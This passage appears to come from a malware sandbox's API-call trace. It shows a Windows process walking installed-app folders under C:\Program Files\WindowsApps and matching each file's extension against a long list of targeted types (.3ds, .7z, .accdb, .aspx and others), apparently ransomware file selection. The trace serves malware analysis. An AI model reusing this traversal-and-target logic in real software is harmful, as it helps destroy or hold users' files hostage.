hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.580] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0084.580] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0084.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0084.580] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa095f16, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIACEC~1.0_N")) returned 1 [0085.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.392] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0085.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.392] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0085.392] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0085.392] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0085.392] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa097cbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI0B51~1.0_X")) returned 1 [0085.393] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.393] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x298e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0085.396] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0085.396] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x774b901c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa14080b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0085.398] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0085.398] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774df276, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x774df276, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Money_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1 [0085.398] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.398] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0 [0085.398] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0085.398] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.400] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0085.401] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.401] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20b499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JsonResources", cAlternateFileName="JSONRE~1")) returned 1 [0085.402] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.402] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x211d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1 [0085.403] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.403] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0085.403] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0085.403] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.403] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776cf25e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0085.404] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0085.404] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28dd9f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1 [0085.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28e968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1 [0085.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28f394, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1 [0085.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28fe63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0085.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1 [0085.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0 [0085.405] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0085.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28c5b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0 [0085.405] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0085.406] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.407] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0 [0085.407] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0085.407] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.407] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2911b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1 [0085.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0085.409] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0 [0085.409] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0085.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0085.409] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0 [0085.409] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0085.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0085.409] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0085.409] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0085.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.575] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0085.590] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned 113 [0085.591] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned 1 [0085.591] lstrlenW (lpString="microsoft.system.package.metadata") returned 33 [0085.591] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="microsoft.system.package.metadata") returned -1 [0085.591] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3dd3a48 [0085.591] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned 113 [0085.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d48 [0085.591] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.591] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.591] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0085.591] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0085.591] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1 [0085.591] lstrlenW (lpString="MicrosoftAdvertising.ini") returned 24 [0085.591] lstrlenW (lpString=".1cd") returned 4 [0085.591] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0085.591] lstrlenW (lpString=".3ds") returned 4 [0085.591] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0085.591] lstrlenW (lpString=".3fr") returned 4 [0085.592] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".3g2") returned 4 [0085.592] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".3gp") returned 4 [0085.592] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".7z") returned 3 [0085.592] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0085.592] lstrlenW (lpString=".accda") returned 6 [0085.592] lstrcmpiW (lpString1=".accda", lpString2="ng.ini") returned -1 [0085.592] lstrlenW (lpString=".accdb") returned 6 [0085.592] lstrcmpiW (lpString1=".accdb", lpString2="ng.ini") returned -1 [0085.592] lstrlenW (lpString=".accdc") returned 6 [0085.592] lstrcmpiW (lpString1=".accdc", lpString2="ng.ini") returned -1 [0085.592] lstrlenW (lpString=".accde") returned 6 [0085.592] lstrcmpiW (lpString1=".accde", lpString2="ng.ini") returned -1 [0085.592] lstrlenW (lpString=".accdt") returned 6 [0085.592] lstrcmpiW (lpString1=".accdt", lpString2="ng.ini") returned -1 [0085.592] lstrlenW (lpString=".accdw") returned 6 [0085.592] lstrcmpiW (lpString1=".accdw", lpString2="ng.ini") returned -1 [0085.592] lstrlenW (lpString=".adb") returned 4 [0085.592] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".adp") returned 4 [0085.592] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".ai") returned 3 [0085.592] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0085.592] lstrlenW (lpString=".ai3") returned 4 [0085.592] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".ai4") returned 4 [0085.592] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".ai5") returned 4 [0085.592] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".ai6") returned 4 [0085.592] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0085.592] lstrlenW (lpString=".ai7") returned 4 [0085.593] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".ai8") returned 4 [0085.593] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".anim") returned 5 [0085.593] lstrcmpiW (lpString1=".anim", lpString2="g.ini") returned -1 [0085.593] lstrlenW (lpString=".arw") returned 4 [0085.593] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".as") returned 3 [0085.593] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0085.593] lstrlenW (lpString=".asa") returned 4 [0085.593] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".asc") returned 4 [0085.593] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".ascx") returned 5 [0085.593] lstrcmpiW (lpString1=".ascx", lpString2="g.ini") returned -1 [0085.593] lstrlenW (lpString=".asm") returned 4 [0085.593] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".asmx") returned 5 [0085.593] lstrcmpiW (lpString1=".asmx", lpString2="g.ini") returned -1 [0085.593] lstrlenW (lpString=".asp") returned 4 [0085.593] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".aspx") returned 5 [0085.593] lstrcmpiW (lpString1=".aspx", lpString2="g.ini") returned -1 [0085.593] lstrlenW (lpString=".asr") returned 4 [0085.593] lstrcmpiW 